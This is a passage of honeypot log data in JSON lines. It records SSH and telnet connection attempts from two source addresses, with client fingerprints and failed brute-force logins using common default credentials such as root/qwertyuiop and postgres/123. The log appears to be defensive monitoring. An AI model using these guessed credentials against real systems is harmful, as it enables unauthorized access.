"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:52.308686Z","src_ip":"192.109.200.237","session":"33ebb10812dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:52.559892Z","src_ip":"192.109.200.237","session":"33ebb10812dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:53.644604Z","src_ip":"192.109.200.237","session":"33ebb10812dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.83279991149902,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:54.831488Z","src_ip":"50.6.8.71","session":"f422edbeb03f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54940,"dst_ip":"159.203.135.109","dst_port":22,"session":"46a5c30946b2","protocol":"ssh","message":"New connection: 192.109.200.237:54940 (159.203.135.109:22) [session: 46a5c30946b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:55.771929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:55.780779Z","src_ip":"192.109.200.237","session":"46a5c30946b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:55.864723Z","src_ip":"192.109.200.237","session":"46a5c30946b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:56.111667Z","src_ip":"192.109.200.237","session":"46a5c30946b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:57.195956Z","src_ip":"192.109.200.237","session":"46a5c30946b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54964,"dst_ip":"159.203.135.109","dst_port":22,"session":"682e62b14325","protocol":"ssh","message":"New connection: 192.109.200.237:54964 (159.203.135.109:22) [session: 682e62b14325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:59.236355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:59.240928Z","src_ip":"192.109.200.237","session":"682e62b14325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:59.322143Z","src_ip":"192.109.200.237","session":"682e62b14325","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:32:59.568537Z","src_ip":"192.109.200.237","session":"682e62b14325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:00.653412Z","src_ip":"192.109.200.237","session":"682e62b14325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37020,"dst_ip":"159.203.135.109","dst_port":22,"session":"a76b623663fe","protocol":"ssh","message":"New connection: 192.109.200.237:37020 (159.203.135.109:22) [session: a76b623663fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:03.065467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:03.070634Z","src_ip":"192.109.200.237","session":"a76b623663fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:03.154662Z","src_ip":"192.109.200.237","session":"a76b623663fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:03.405685Z","src_ip":"192.109.200.237","session":"a76b623663fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:04.491887Z","src_ip":"192.109.200.237","session":"a76b623663fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52152,"dst_ip":"10.17.0.5","dst_port":23,"session":"18c965902011","protocol":"telnet","message":"New connection: 50.6.8.71:52152 (10.17.0.5:23) [session: 18c965902011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:06.138980Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52158,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ef2b7d866af","protocol":"telnet","message":"New connection: 50.6.8.71:52158 (10.17.0.5:23) [session: 8ef2b7d866af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:06.420574Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37028,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ac44a96c26d","protocol":"ssh","message":"New connection: 192.109.200.237:37028 (159.203.135.109:22) [session: 5ac44a96c26d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:06.677600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:06.682876Z","src_ip":"192.109.200.237","session":"5ac44a96c26d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:06.764979Z","src_ip":"192.109.200.237","session":"5ac44a96c26d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:07.011094Z","src_ip":"192.109.200.237","session":"5ac44a96c26d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:08.102961Z","src_ip":"192.109.200.237","session":"5ac44a96c26d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46302,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddddd8b5ca61","protocol":"ssh","message":"New connection: 192.109.200.237:46302 (159.203.135.109:22) [session: ddddd8b5ca61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:10.403403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:10.408016Z","src_ip":"192.109.200.237","session":"ddddd8b5ca61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:10.489827Z","src_ip":"192.109.200.237","session":"ddddd8b5ca61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:10.736899Z","src_ip":"192.109.200.237","session":"ddddd8b5ca61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:11.822073Z","src_ip":"192.109.200.237","session":"ddddd8b5ca61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46314,"dst_ip":"159.203.135.109","dst_port":22,"session":"537027b22a29","protocol":"ssh","message":"New connection: 192.109.200.237:46314 (159.203.135.109:22) [session: 537027b22a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:13.921118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:13.925849Z","src_ip":"192.109.200.237","session":"537027b22a29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:14.007726Z","src_ip":"192.109.200.237","session":"537027b22a29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:14.251806Z","src_ip":"192.109.200.237","session":"537027b22a29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52166,"dst_ip":"10.17.0.5","dst_port":23,"session":"7de87a29de37","protocol":"telnet","message":"New connection: 50.6.8.71:52166 (10.17.0.5:23) [session: 7de87a29de37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:14.389588Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:15.336921Z","src_ip":"192.109.200.237","session":"537027b22a29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52170,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4b70b53b2ee","protocol":"telnet","message":"New connection: 50.6.8.71:52170 (10.17.0.5:23) [session: b4b70b53b2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:15.354739Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46316,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3afae70f2ee","protocol":"ssh","message":"New connection: 192.109.200.237:46316 (159.203.135.109:22) [session: e3afae70f2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:17.549554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:17.553404Z","src_ip":"192.109.200.237","session":"e3afae70f2ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:17.635392Z","src_ip":"192.109.200.237","session":"e3afae70f2ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:17.881099Z","src_ip":"192.109.200.237","session":"e3afae70f2ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47780,"dst_ip":"10.17.0.5","dst_port":23,"session":"785a3012469b","protocol":"telnet","message":"New connection: 50.6.8.71:47780 (10.17.0.5:23) [session: 785a3012469b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:18.519176Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:18.965548Z","src_ip":"192.109.200.237","session":"e3afae70f2ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45618,"dst_ip":"159.203.135.109","dst_port":22,"session":"13715b9fc8a5","protocol":"ssh","message":"New connection: 192.109.200.237:45618 (159.203.135.109:22) [session: 13715b9fc8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:20.994189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:33:20.998282Z","src_ip":"192.109.200.237","session":"13715b9fc8a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp